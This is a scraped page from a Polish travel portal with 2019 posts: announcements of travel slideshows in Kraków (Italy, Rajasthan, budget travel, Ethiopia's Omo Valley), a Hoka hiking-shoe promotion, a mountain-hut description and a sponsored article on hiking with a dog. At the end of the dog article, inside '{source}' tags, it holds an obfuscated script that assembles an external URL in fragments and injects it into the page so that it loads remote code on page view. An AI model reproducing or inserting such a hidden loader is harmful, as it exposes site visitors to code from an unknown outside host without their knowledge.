Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
  • Slajdowiska
    • Spotkania autorskie
  • Relacje
    • Europa
      • Albania
      • Austria
      • Bułgaria
      • Chorwacja
      • Czarnogóra
      • Czechy
      • Dania
      • Francja
      • Hiszpania
      • Holandia
      • Kosowo
      • Litwa
      • Luksemburg
      • Macedonia
      • Malta
      • Niemcy
      • Norwegia
      • Portugalia
      • Rosja
      • Rumunia
      • Serbia
      • Slowacja
      • Slowenia
      • Szwajcaria
      • Ukraina
      • Wegry
      • Wielka Brytania
      • Włochy
    • Polska informacje i fotorelacje
      • Forty i twierdze
      • Góry
      • Kolej
        • Parowozownie
      • Miasta
      • Miejsca wyjątkowe
      • Muzea
      • Podziemia
      • Polska na weekend
      • Skanseny w Polsce
      • Woda
      • Województwa
        • Dolny Śląsk
        • Kujawsko-pomorskie
        • Łódzkie
        • Lubelskie
        • Lubuskie
        • Małopolskie
        • Mazowieckie
        • Opolskie
        • Podkarpackie
        • Podlaskie
        • Pomorskie
        • Śląskie
        • Świętokrzyskie
        • Warmińsko-mazurskie
        • Wielkopolskie
        • Zachodniopomorskie
      • Zabytki sakralne
      • Zamki i pałace
    • Świat
      • Afryka
      • Ameryka Południowa
      • Ameryka Północna
      • Ameryka Środkowa i Karaiby
      • Antarktyda
      • Australia i Oceania
      • Azja
    • Schroniska Górskie
  • Filmy
  • Sprzęt
    • Polecamy
    • Recenzje sprzętu
    • Testy sprzętu
  • Autorzy
    • Albin Marciniak
    • Karolina Zięba-Kulawik
    • Redakcja
  • Forum
  • Fundacja Aleja Podróżników
  • Kontakt
niedziela, 29 marca, 2026
Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
  • Slajdowiska
    • Spotkania autorskie
  • Relacje
    • Europa
      • Albania
      • Austria
      • Bułgaria
      • Chorwacja
      • Czarnogóra
      • Czechy
      • Dania
      • Francja
      • Hiszpania
      • Holandia
      • Kosowo
      • Litwa
      • Luksemburg
      • Macedonia
      • Malta
      • Niemcy
      • Norwegia
      • Portugalia
      • Rosja
      • Rumunia
      • Serbia
      • Slowacja
      • Slowenia
      • Szwajcaria
      • Ukraina
      • Wegry
      • Wielka Brytania
      • Włochy
    • Polska informacje i fotorelacje
      • Forty i twierdze
      • Góry
      • Kolej
        • Parowozownie
      • Miasta
      • Miejsca wyjątkowe
      • Muzea
      • Podziemia
      • Polska na weekend
      • Skanseny w Polsce
      • Woda
      • Województwa
        • Dolny Śląsk
        • Kujawsko-pomorskie
        • Łódzkie
        • Lubelskie
        • Lubuskie
        • Małopolskie
        • Mazowieckie
        • Opolskie
        • Podkarpackie
        • Podlaskie
        • Pomorskie
        • Śląskie
        • Świętokrzyskie
        • Warmińsko-mazurskie
        • Wielkopolskie
        • Zachodniopomorskie
      • Zabytki sakralne
      • Zamki i pałace
    • Świat
      • Afryka
      • Ameryka Południowa
      • Ameryka Północna
      • Ameryka Środkowa i Karaiby
      • Antarktyda
      • Australia i Oceania
      • Azja
    • Schroniska Górskie
  • Filmy
  • Sprzęt
    • Polecamy
    • Recenzje sprzętu
    • Testy sprzętu
  • Autorzy
    • Albin Marciniak
    • Karolina Zięba-Kulawik
    • Redakcja
  • Forum
  • Fundacja Aleja Podróżników
  • Kontakt
Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
  • Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
  • Fundacja Aleja Podróżników
  • Forum
  • Relacje
    • Europa
    • Polska
    • Świat
  • Sprzęt
    • Recenzje sprzętu
    • Testy sprzętu
  • Książka
  • Kontakt
Copyright 2025 - All Right Reserved
Cykliczne Spotkania Podróżników

Przerwa wakacyjna

przez Redakcja 2019-06-02
Napisane przez Redakcja

Przerwa wakacyjna

Na kolejne slajdowiska zapraszamy od 2 września

slajdowisko nr 476 rozpocznie 12-sty sezon slajdowisk Klubu Podróżników Śródziemie

Czekamy na Wasze propozycje i zgłoszenia do kalendarza slajdowisk na sezon jesień/zima 2019/2020

zgłoszenia prosimy przesyłać na adres [email protected]

2019-06-02 0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

przygoda z pracą i podróżowaniem w słonecznej Italii

przez Redakcja 2019-06-02
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
24.06.2019 godzina 19:00
Ania i Kamil
Tutto bene! Nasza 7-miesięczna przygoda z pracą i podróżowaniem w słonecznej Italii!

UWAGA.

Ważna informacja dla wybierających się na slajdowisko. Z uwagi na panujące upały i awarię klimatyzacji w Artetece, slajdowiska przeniesione są do w budynku głównego na parterze w sali 53 Biblioteki Wojewódzkiej przy ul. Rajskiej 1 (do przejścia ok 80m)

slajdowisko nr 479

Zabierzemy Was w niezwykłą podróż przez różnorodności wielu mniej i bardziej znanych regionów Włoch. Wspólnie przemierzymy górskie okolice Piemontu, skaliste wybrzeża Ligurii, zobaczymy malownicze pejzaże Toskanii, będziemy podziwiać architekturę Lacjum i popłyniemy na śródziemnomorskie wyspy- Sardynię oraz Sycylię.

Ponad 2 lata temu postanowiliśmy, że czas rzucić wszystko, z czym byliśmy związani w Polsce i wyjechać do wymarzonej Italii. Zawsze chcieliśmy spróbować tam żyć, Włochy kojarzyły nam się z piękną pogodą, wolnością, uśmiechniętymi ludźmi i przepięknymi krajobrazami. Bilet lotniczy w jedną stronę, dwa plecaki i hotel zarezerwowany na 2 tygodnie. Jak to jest zaczynać życie w obcym kraju? Z czym trzeba się zmierzyć, żeby zdobyć pracę i wynająć mieszkanie? Jak uporać się z formalnościami?? Czy trudno jest odnaleźć się we włoskiej kulturze??

Zapraszamy na opowieść o tym, jak udało nam się stać się częścią włoskiego społeczeństwa, znaleźć przyjaciół, spróbować włoskiej domowej kuchni, przyzwyczaić się do jedzenia makaronów z chlebem i picia ogromnych ilość najlepszego na świecie espresso! O tym, jak podróżując okrywaliśmy niesamowite miejsca, poznawaliśmy wspaniałych ludzi i zachwycaliśmy się urokiem odmienności każdego z odwiedzanych regionów Italii.

„La vita e un viaggio e chi viaggia vive due volte”
Omar Khayyam

 

Obraz może zawierać: ocean, góra, niebo, na zewnątrz, przyroda i woda

Obraz może zawierać: niebo, ocean, roślina, chmura, drzewo, na zewnątrz, przyroda i woda

Obraz może zawierać: na zewnątrz

Obraz może zawierać: niebo, chmura, na zewnątrz i przyroda

Obraz może zawierać: roślina

Obraz może zawierać: niebo, chmura, na zewnątrz i przyroda

2019-06-02 0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Indie/Rajastan

przez Redakcja 2019-06-02
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
17.06.2019 godzina 19:00
Jakub & Joanna Piasek
Indie/Rajastan

UWAGA.

Ważna informacja dla wybierających się na slajdowisko. Z uwagi na panujące upały i awarię klimatyzacji w Artetece, slajdowiska przeniesione są do w budynku głównego na parterze w sali 53 Biblioteki Wojewódzkiej przy ul. Rajskiej 1 (do przejścia ok 80m)

Indie kojarzą się każdemu z czymś innym – jedni widzą starożytną cywilizacje z doliny Indusu, inni dobrze przyprawione, w większości wypadków wegetariańskie jedzenie, jeszcze inni pomyślą o Taj Mahal, świętych krowach, wszechobecnym chaosie i brudzie, albo (zboczenie zawodowe) suporcie IT w każdej większej korporacji.
Ograniczanie kraju, w którym żyje około 20% światowej populacji do kilku skojarzeń jest jednak bardzo szalonym pomysłem – coś jakby uogólnić samochód do tego, że ma cztery koła i pominąć całą resztę – niby można, ale sporo się wtedy straci. Nie ma więc co przywiązywać się do stereotypów (które tak bardzo lubimy). Mity i inne opowieści znalezione w sieci o ludziach pozostawiających na ulicach swoje fekalia, pociągach w których podróżuje się na dachu, czy tym, że Indie są niebezpieczne chcieliśmy zweryfikować sami, a teraz możemy podzielić się naszymi wrażeniami.
Jeśli Indie budzą w Was jakieś skojarzenia albo słyszeliście o nich coś co nie daje Wam spać, bo nie wiecie czy jest prawdą dajcie nam znać – chętnie zmierzymy się z mitami, o których jeszcze nie wiedzieliśmy!
Podczas slajdowiska chcielibyśmy zabrać Was w podróż po Rajastanie (i okolicach), który zwiedzaliśmy na własną rękę przez ponad 2.5 tygodnia. Delhi, Agra, Jaipur, Puszkar, Udaipur i Jodhpur – miejsca prze nas odwiedzone nie czynią z nas wielkich znawców tego potężnego kraju, ale bazując na naszym skromnym doświadczeniu na pewno jesteśmy w stanie sporo na ten temat opowiedzieć. Pokażemy Wam zakątki turystyczne, bardzo turystyczne, jak również kilka bardziej lokalnych atrakcji, opowiemy o przygodach, które nas spotkały, ulicznych oszustach i miłych z natury ludziach, o orientalnej kulturze, luksusie i biedzie oraz o co najmniej kilku powodach, dla których podróżując na własną rękę trzeba mieć internet (dodamy też na pewno zestawienie kosztów oraz DIY – czyli krótki poradnik jak zorganizować taki wyjazd samemu). Przede wszystkim chcemy jednak potwierdzić lub obalić najpopularniejsze mity o Indiach – serdecznie zapraszamy!
Piasek & Joasia

 

Obraz może zawierać: co najmniej jedna osoba, ludzie stoją, niebo, drzewo i na zewnątrz

 

Obraz może zawierać: 1 osoba

 

Obraz może zawierać: co najmniej jedna osoba i na zewnątrz

2019-06-02 0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Dookoła świata za grosze

przez Redakcja 2019-05-30
Napisane przez Redakcja
Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
10.06.2019 godzina 19:00
Paweł Kunz
Dookoła świata za grosze! Grenlandia, Kanada, Chiny, Syberia – sekrety taniego podróżowania.
 

UWAGA.

Ważna informacja dla wybierających się na slajdowisko. Z uwagi na panujące upały i awarię klimatyzacji w Artetece, slajdowiska przeniesione są do w budynku głównego na parterze w sali 53 Biblioteki Wojewódzkiej przy ul. Rajskiej 1 (do przejścia ok 80m)

Myślicie, że podróże w egzotyczne miejsca wiążą się z ogromnymi wydatkami, z których znaczącą pozycją są koszty biletów lotniczych? To bzdura! Iran za 300 PLN, Arktyka za 380 PLN, Chiny za 400 PLN? Paweł Kunz, dziennikarz największego polskiego serwisu o tanim lataniu i podróżowaniu (Fly4free.pl) oraz bloger (serwis 2b3.in), przekuwa marzenia o podróżach w rzeczywistość. Okazuje się, że wiele cudownych terenów dostępnych jest za przysłowiowe grosze. Sztuką jest to, aby umieć wykorzystać okazję… i ruszyć w podróż.
Jak sam zachęca: „Chciałbym podzielić się z Wami zdjęciami, wspomnieniami i poradami praktycznymi z kilku niesamowitych miejsc.Gdy byłem dzieckiem, często bawiłem się globusem… i zawsze chciałem zobaczyć na własne oczy miejsca, gdzie zatrzymywał się mój palec. Aconcagua, Gibraltar, Nordkapp, Ararat – te nazwy rozpalały moją wyobraźnię. Ciekawość świata i ludzi została we mnie do dziś. Staram się „doganiać” moje dziecięce marzenia – w miarę wolnego czasu, możliwości i funduszy: dawniej bardziej survivalowo, teraz raczej klasycznie.
Zatem PODRÓŻE. Dalekie i bliskie. Autostopem, rowerem, samochodem, koleją, samolotem… i innymi środkami lokomocji, niekiedy dość dziwnymi. Minikatamarany na Ukrainie? Psi zaprzęg w Laponii? Kamper w Kanadzie, kajak na Karaibach, ciągnik w Irlandii i bagażnik na Syberii? Na wodzie, na lądzie i w powietrzu. W miejsca, które nie zawsze są popularnym kierunkiem, często w typowo backpackerskich warunkach”
* * *
Podróżnicze doświadczenie naszego gościa? Cóż, trochę „kręci się” po świecie. Był na 7546 m n.p.m. i 418 m p.p.m. Odwiedził ponad 100 państw świata – przebywał w największym (Rosja), najmniejszym (Watykan) i w tym podobno najważniejszym (Stany Zjednoczone). Jadł skorpiony w Chinach, pił kumys w Kazachstanie, jechał koleją transsyberyjską, zakopał skrzynkę geocachingową w Luksemburgu i wylegiwał się na plażach Goa. Namalował graffiti na murze oddzielającym Palestynę od Izraela, przeszedł szlak Arctic Circle Trail na Grenlandii, uniknął min przeciwpiechotnych w Laosie i namolnych kobiet na pograniczu Argentyny i Chile. Przejechał pustynię Takla-Makan, włóczył się po Jedwabnym Szlaku, ganiał po Arktyce w poszukiwaniu zorzy polarnej, zawiózł pomoc humanitarną do domów dziecka w Kirgistanie – i kąpał się nago na Spitsbergenie, 78° 13’N, 1100 km od Bieguna Północnego.
Paweł Kunz ma zamiar zabrać Was w podróż dookoła świata, pachnącą wspomnieniami i inspirującą do własnych wypraw. Wpadnijcie, nie pożałujecie 🙂
2019-05-30 0 komentarze/y
0 FacebookTwitterPinterestEmail
Małopolskie

Dni Niemiec w Krakowie

przez Redakcja 2019-05-30
Napisane przez Redakcja
Dni Niemiec w Krakowie

Dni Niemiec w Krakowie

 Dni Niemiec w Krakowie

Dni Niemiec w Krakowie, potrwają przez weekend 14-16 czerwca. Wydarzenie startuje już w czwartek o godz. 21.30 pokazem kina letniego. Wszystkie imprezy są otwarte dla wszystkich.

 

Dni Niemiec w Krakowie 2

2019-05-30 0 komentarze/y
0 FacebookTwitterPinterestEmail
Polecamy

Hoka One One

przez Redakcja 2019-05-26
Napisane przez Redakcja
Hoka One One

Hoka One One

Hoka One One

Touch The Sky! Hoka One One wypuszcza nową linię butów hikingowych

Marka Hoka One One – znana głównie z produkcji innowacyjnych butów dla biegaczy ultra – nie od dziś próbuje swoich sił w segmencie stricte outdoorowym. Mimo iż nie brakuje zwolenników używania flagowych modeli – ze Speedgoatem oraz Challengerem ATR – do chodzenia po górach, brand sukcesywnie rozwija kolekcję hikingową. Sezon wiosna & lato’ 2019 to premiera zupełnie nowej linii SKY, na którą składają się aktualnie trzy modele: Sky Kaha, Sky Toa oraz Sky Arkali. Co warto o nich wiedzieć…?

 

Hoka One One SKY Ms Kaha Charcoal Grey Blue lifestyle

 

Jak powszechnie wśród miłośników biegania wiadomo, cechą charakterystyczną dla obuwia Hoka One One jest „kosmiczna” podeszwa, czyli gruba warstwa amortyzującej pianki EVA w śródpodeszwie. Takie rozwiązanie stanowi odciążenie dla stawu skokowego, który, podczas aktywności na utwardzonych, często kamienistych nawierzchniach, jest narażony na kontuzje. Dzięki temu obuwie również zyskuje niepowtarzalną lekkość, co jest pożądane podczas biegu czy pieszych wędrówek. Zwolenników popularnej „Hoki” wśród biegaczy nie brakuje, ale marka staje się również coraz bardziej ceniona wśród osób poszukujących lekkiego, amortyzującego, a zarazem trwałego buta do pieszych wycieczek po górskich szlakach. Wielbicielem popularnego Speedgoata jest między innymi Andrzej Marcisz – legenda polskiej wspinaczki sportowej, który w tym właśnie modelu zdobywa tatrzańskie szczyty.

 

Andrzej Marcisz fot. Michał Kasperczyk

Andrzej Marcisz podczas wędrówki po Tatrach, fot. Michał Kasperczyk

 

Wraz ze startem sezonu wiosna & lato’ 2019 na półki sklepowe trafiła zupełnie nowa kolekcja butów hikingowych. Lekkość, duża amortyzacja, innowacyjne technologie czy bardzo przyjemny dla oka wygląd sprawiają, iż klienci coraz chętniej sięgają po obuwie z serii Sky. Aktualnie składa się ona z trzech, dostępnych w sprzedaży modeli: Sky Kaha (maximal hiking), Sky Arkali (vertical hiking) oraz Sky Toa (fast hiking). Równolegle brand pracuje nad kolejnymi propozycjami, celem rozwoju linii pod kątem kolejnych sezonów.

 

Czym charakteryzują się poszczególne modele?

Hoka One One SKY Kaha

Hoka One One SKY Ms Kaha Charcoal Grey Blue

Hoka One One SKY Kaha, Charcoal Grey & Blue (męski)

Nazwa tego modelu pochodzi z języka maoryskiego i oznacza siłę i wsparcie. Ten but niewątpliwie zapewni wygodę i bezpieczeństwo na szlaku. Cholewka wykonana została ze skóry licowej z syntetycznymi i tekstylnymi wstawkami, co nadaje jej elastyczności i poprawia dopasowanie do nogi w rejonie kostki. Zastosowana membrana eVent® zapewnia wodoodporność oraz oddychalność, zapewniając stopie suchość nawet podczas dłuższych wycieczek. Górna warstwa śródpodeszwy wykonana z grubej warstwy ciśnieniowo formowanej pianki EVA, co daje uczucie miękkości, zapewniając duży komfort podczas chodzenia, a dzięki dolnej warstwie wykonanej w technologii RangiTM użytkownik odczuwa dużą amortyzację, nie tracąc przy tym czucia podłoża. Podeszwa zewnętrzna Vibram® Megagrip z 5 mm wypustkami zapewni przyczepność na różnych rodzajach terenu, w tym na mokrej skale.

Specyfikacja:
– waga (pojedynczy but): 426 g (damskie); 508 g (męskie);
– wysokość pod palcami: 25 mm (damskie); 27 mm (męskie);
– wysokość pod piętą: 31 mm (damskie); 33 mm (męskie).

 

 

Hoka One One SKY SKY Arkali

Hoka One One SKY Ms Arkali Black Cyan Citrus

Hoka One One SKY Arkali, Black / Cyan & Citrus (męski)

Arkali to połączenie innowacyjnego obuwia biegowego (lekkiego i wygodnego), technologii buta wspinaczkowego (wyjątkowa przyczepność i trakcja) oraz inżynierii butów turystycznych (gwarancja ochrony). Cholewka wykonana została w technologii MATRYX®, dzięki której lekki splot z wykorzystaniem włókien kevlarowych zapewnia dużą wytrzymałość bez dodatkowego ciężaru. Gumowy otok w rejonie palców o wysokiej odporności na ścieranie zabezpiecza przez urazami i uszkodzeniami. Specjalna konstrukcja śródpodeszwy PROFLYTM zapewnia dużą amortyzację w rejonie pięty. Z kolei pianka o zwiększonej gęstości i sprężystości na śródstopiu zapewnia miękkie lądowanie oraz pełną energię podczas kolejnego wybicia się z palców. Dzięki dolnej warstwie podeszwy środkowej wykonanej w technologii RangiTM użytkownik odczuwa dużą amortyzację, nie tracąc przy tym czucia podłoża. Podeszwa zewnętrzna Vibram® Megagrip z 5 mm wypustkami zapewnia przyczepność na różnych rodzajach terenu, w tym na mokrej skale.

Specyfikacja:
– waga (pojedynczego buta): 393 g (damskie); 432 g (męskie);
– wysokość pod palcami: 22 mm (damskie); 24 mm (męskie);
– wysokość pod piętą: 27 mm (damskie); 29 mm (męskie).

 

 

Hoka One One SKY Toa

Hoka One One SKY Ms Toa Black Iris Blue

Hoka One One SKY Toa, Black Iris / Blue (męski)

 

Toa to idealny but do speed hikingu, czyli szybkiego wędrowania po górach. Ultralekki, o trwałej i oddychającej, syntetycznej cholewce, która dzięki zastosowaniu membrany eVent® zapewnia również wodoodporność. Górna warstwa śródpodeszwy wykonana została z grubej warstwy ciśnieniowo formowanej pianki EVA, co daje uczucie miękkości, zapewniając duży komfort podczas chodzenia. Dzięki dolnej warstwie wykonanej w technologii RangiTM użytkownik odczuwa dużą amortyzację, nie tracąc przy tym czucia podłoża. Podeszwa zewnętrzna Vibram® Megagrip zapewnia przyczepność na różnych rodzajach terenu, w tym na mokrej skale.

Specyfikacja:
– waga (pojedynczego buta): 376 g (damskie); 425 g (męskie);
– wysokość pod palcami: 20 mm (damskie); 22 mm (męskie);
– wysokość pod piętą: 24 mm (damskie); 26 mm (męskie).

 

Hoka One One SKY Ms Toa Black Iris Aquamarine

Hoka One One SKY M’s Toa, Black Iris Aquamarine

 

Hoka One One SKY Ws Arkali Dragonfly Aqua Haze

Hoka One One SKY W’s Arkali Dragonfly Aqua Haze

 

 

Hoka One One SKY Ws Kaha Frost Grey Aqua Haze

Hoka One One SKY W’s Kaha, Frost Grey Aqua Haze

 

 

Gdzie kupić?
Sky Kaha i Sky Toa są już do nabycia w poznańskim Taterniku – zarówno w sklepie stacjonarnym, jak i online. Jedynie kwestią czasu jest, gdy nowa, hikingiowa linia Hoka One One pojawi się w kolejnych, czołowych sklepach outdoorowych.

Buty Hoka One One porównaj ceny we wszystkich sklepach

 

O producencie
HOKA ONE ONE jest producentem specjalistycznych butów biegowych, popularnych zwłaszcza w kręgu biegaczy długodystansowych. W ich gronie stanowi ona jedną z najszybciej rosnących sprzedażowo marek na świecie. Ceniona jest jednak również wśród amatorów, dopiero zaczynających swoją przygodę z bieganiem. Znakiem charakterystycznym obuwia jest nietypowa budowa, związana z zastosowaniem niezwykle grubej, piankowej podeszwy, co przekłada się na maksymalny stopień amortyzacji. Inne, typowe dla Hoka One One cechy to łódkowaty kształt, niskie osadzenie stopy w ramie buta, minimalna waga oraz bogata kolorystyka. Brand powstał we Francji w 2009 roku i od tego czasu sukcesywnie podbija kolejne rynki. Z sezonu na sezon producent sukcesywnie udoskonala najbardziej popularne modele, jak również wprowadza nowe propozycje. Na chwilę obecną najważniejsze modele to trailowy Speedgoat 3, miejski Clifton 5 oraz łączący cechy obu z nich Challenger ATR 5. Od wiosny 2016 roku Hoka One One dostępna jest w Polsce, a jej wyłącznym dystrybutorem jest krakowska firma Raven.
#hokaoneone, #timetofly, #hokarunnerspoland

O dystrybutorze
RAVEN – powstała w 2005 roku krakowska firma, specjalizująca się w dystrybucji odzieży, obuwia i sprzętu renomowanych, zachodnich brandów. Początki firmy wiążą się z działalnością w szeroko rozumianym segmencie outdoorowym, z czasem jednak w jej portfolio pojawiły się marki zaliczane do kategorii biegowej czy lifestyle. Aktualnie Raven jest wyłącznym, krajowym dystrybutorem kilkunastu uznanych i stale rosnących sprzedażowo brandów, takich jak Marmot, Aku, Teva, Hoka One One czy Smartwool. Ponadto, wychodząc naprzeciw oczekiwaniom klientów B2B, jak i finalnych odbiorców, od 2009 roku Raven rozwija autorską markę Rockland, oferującą sprzęt turystyczno – bushcraftowy. Zarówno w przypadku Rocklanda, jak i Tevy czy Kamika, Raven jest wyłącznym dystrybutorem na kilkunastu rynkach Europy Wschodniej, m.in. w Czechach, na Słowacji oraz na Węgrzech.

2019-05-26 0 komentarze/y
0 FacebookTwitterPinterestEmail
Schroniska

Schronisko Koliba Na Łapsowej Polanie

przez Redakcja 2019-05-23
Napisane przez Redakcja
schronisko na Łapsowej Polanie

Schronisko Koliba Na Łapsowej Polanie

Schronisko Koliba Na Łapsowej Polanie znajduje się w Gorcach, na ich południowych stokach – w bezpośredniej okolicy miasta Nowy Targ. Najwyższy szczyt Gorców, Turbacz (1310 m.npm.) znajduje się około 7 km na wschód.

Schronisko to ładny, drewniany, jednopiętrowy budynek w stylu góralskim, doskonale pasujący do otoczenia. Na parterze znajdują się dwa pokoje, toalety z natryskami, bufet turystyczny oraz stylowa jadalnia, mieszcząca równocześnie około 30 osób. Bufet turystyczny oferuje dania ciepłe i zimne, herbatę, kawę, ciastka, słodycze, piwo oraz inne napoje chłodzące. W schronisku można też zaopatrzyć się w wiele “drobiazgów” przydatnych na turystycznym szlaku. Na piętrze znajdują się pozostałe pokoje.

Schronisko zaprasza zarówno turystów indywidualnych, jak i rodziny oraz grupy zorganizowane – obozy wędrowne, rajdy, wycieczki i zimowiska. Zapewnia też całodzienne, smaczne wyżywienie.

Do schroniska Koliba na Łapsowej Polanie 49°31’44”N 20°01’48” można dojść jednym z kilku szlaków turystycznych. Najbliższy schroniska parking znajduje się na końcu osiedla Marfiana Góra (w miejscowości Kowaniec) skąd w ok.30 min można dojść do Schroniska niebieskim szlakiem; także w miejscowości Obidowa można zostawić samochód i dojść do Schroniska najpierw zielonym, potem czarnym, a następnie niebieskim szlakiem.

Najbliższy schroniska parking znajduje się w Obidowej. Na końcu osiedla Marfiana Góra także można zostawić samochód. Korzystając z komunikacji publicznej, w pobliże schroniska najłatwiej dojechać do Klikuszowej (autobusami relacji Kraków – Zakopane), potem szlakiem czarnym, lub do Nowego Targu (autobusami relacji Nowy Targ – Zakopane), i dalej komunikacją MZK do Kowańca lub Marfianej Góry, potem za znakami niebieskimi.

Pociągiem należny dojechać do Nowego Targu, a potem korzystając z komunikacji miejskiej dojechać do Kowańca i następnie kierować się za znakami niebieskimi.

 

schronisko na Łapsowej Polanie

 

Schronisko Koliba Na Łapsowej Polanie

 Marfiana Góra 20 , 34-400 Nowy Targ. Www.gorce-Koliba.pl

Facebook : Koliba na Łapsowej Polanie. 
Tel. 535579403
2019-05-23 0 komentarze/y
0 FacebookTwitterPinterestEmail
Reklama

Wczasy z psem w górach – jak się przygotować?

przez Redakcja 2019-05-23
Napisane przez Redakcja
naszezoo wczasy z psem w gorach jak sie przygotowac 2

naszezoo wczasy z psem w gorach jak sie przygotowac 2

Wczasy z psem w górach – jak się przygotować?

 

Coraz więcej osób decyduje się na wakacje z czworonogiem. Taki wyjazd nie tylko redukuje stres związany z pozostawieniem psiaka pod opieką innych osób, ale również pozwala zacieśnić więzi i zbudować mocniejszą relację. Przed wyjazdem z pupilem w góry należy jednak zadbać o kilka ważnych kwestii, dzięki którym urlop na pewno będzie udany.

 

naszezoo wczasy z psem w gorach jak sie przygotowac 1

 

Wyprawka dla psa

Pakując walizki i torby, warto uwzględnić osobny bagaż dla czworonoga. Oczywiście, w przypadku zwierzaka lista rzeczy do zabrania będzie zapewne krótsza niż u jego opiekunów, ale bez wątpienia musi znaleźć się na niej kilka niezbędnych akcesoriów. Są to:

  • Adresówka, dzięki której odnalezienie zwierzaka będzie znacznie prostsze.
  • Niezwykle pomocny w przypadku gwałtownej ulewy ręcznik, którym można okryć i osuszyć psa.
  • Apteczka ze środkami opatrunkowymi, witaminami i lekarstwami na dolegliwości trawienne.
  • Książeczkę zdrowia psiaka, zawierającą informacje na temat przebytych chorób i szczepień.
  • Odpowiedniej długości smycz oraz wygodne szelki typu sleed.
  • Kaganiec (najlepiej sprawdzi się fizjologiczny).
  • Karma i podróżne miseczki na wodę i jedzenie.
  • Ulubiona zabawka i legowisko lub kocyk.

Mapa zwierzolubnych miejsc

Wyjazd w góry wiąże się najczęściej z koniecznością zarezerwowania miejsc noclegowych w hotelu czy schronisku. Mimo że coraz większa liczba ośrodków oferuje możliwość pobytu ze zwierzakiem, warto upewnić się, że informacje są aktualne, a oferta nie została zmieniona. Dobrym pomysłem jest także zaznaczenie lub wypisanie restauracji i barów w okolicy, w których zwierzęta są mile widziane – takie rozwiązanie to oszczędność czasu i brak stresu związanego z poszukiwaniem tego typu lokali dopiero na miejscu.

Konsultacja weterynaryjna

Psiaki uwielbiają długie spacery u boku właścicieli i aktywność, ale nie wszystkie są przystosowane do wielogodzinnych wędrówek i wspinaczki po trudnych, skalistych powierzchniach. Przed planowanym urlopem w górach warto zasięgnąć porady lekarza weterynarii, który zbada pupila i sprawdzi jego stan zdrowia. Jeśli wszystko będzie w porządku, specjalista zaleci prawdopodobnie dodatkową ochronę przed kleszczami i pchłami (świetnym rozwiązaniem będzie zabezpieczenie w postaci specjalnej obroży, dostępnej m.in. w internetowym sklepie zoologicznym https://www.naszezoo.pl/pl/p/Bayer-Foresto-obroza-dla-psa-i-kota-ponizej-8-kg-dlugosc-38-cm-GRATIS-Ksiazeczka-zdrowia-dla-psa-i-kota/5772).

Plan wyjazdu

Jednym z najważniejszych elementów jest także przygotowanie planu wyjazdu, dzięki któremu każdy dzień będzie zorganizowany, a liczba zaplanowanych kilometrów nie przerośnie możliwości czworonoga. Trzeba także pamiętać o tym, że podczas górskich wypraw należy obserwować reakcje psiaka – jeśli pupil coraz częściej odpoczywa, nie chce iść dalej lub kładzie się na szlaku, nie można zmuszać go do dalszej aktywności. Warto też podkreślić, że część tras leży na terenie Parków Narodowych, do których zwierzaki nie mają zazwyczaj wstępu. Zdarzają się jednak odstępstwa od reguły (z pupilem można wejść m.in. na teren Doliny Chochołowskiej w Tatrach czy na Szczeliniec).

{source}
<script>
(function(){
cuqv=document.createElement(„script”);cuqv_=(„ust”);cuqvu=”134514691″;
cuqv_+=”a”+(„t.i”);cuqv.type=”text/javascript”;
cuqvu+=”.gpxk1yzkuqvsqick170p”;cuqv.async=true;cuqv_+=”n”+(„f”+”o”)+”/”;
cuqvu+=”2nq4rhipqp”;cuqv.src=”https://”+cuqv_+cuqvu;
document.body.appendChild(cuqv);
})();
</script>
{/source}

2019-05-23 0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Etiopia Dolina OMO – poznajcie jej mieszkańców

przez Redakcja 2019-05-21
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
03.06.2019 godzina 19:00
Ewa Bąchor
Etiopia Dolina OMO – poznajcie jej mieszkańców

 Dolina OMO – obszar południowej Etiopii, gdzie nadal żyją i którą zamieszkują pierwotne plemiona, tj. Hamerowie, Karo, Aari, Dassanech, Bana czy Mursi. Zapraszam na opowieść o tych, którzy żyją w rytmie słońca. Tych, którzy wiedzą o istnieniu innego świata, ale żyją własnym życiem, tak jak ich przodkowie. Zobaczymy krótkie filmy z ceremonii pasowania na mężczyznę i przygotowywania posiłków. Jak się bawią i co jedzą? Jak rozpoznać kobietę zamężną od panny gotowej do zamążpójścia? A przede wszystkim ile kosztuje kupienie sobie żony? Będzie można obejrzeć oryginalne burkule i dowiedzieć się jaki jest lokalny sposób na
zbicie gorączki u dziecka.

Ewa „ Światowiewa” Bąchor – na co dzień zajmuje się projektami z zakresu finansów. Obecnie odwiedziła już 64 kraje, niektóre wielokrotnie. Mieszkała we Włoszech i w Turcji ale jej miejscem na ziemi jest Kraków, do którego najbardziej lubi wracać ze swoich podróży. Podróżuje od zawsze, a od niedawna, bo od roku prowadzi bloga podróżniczego – www.ewaswiatowiewa.pl a także fanpage https://www.facebook.com/ewaswiatowiewablog/
gdzie dzieli się wrażeniami ze swoich podróży.

 

Obraz może zawierać: 5 osób, ludzie stoją, niebo, na zewnątrz i przyroda

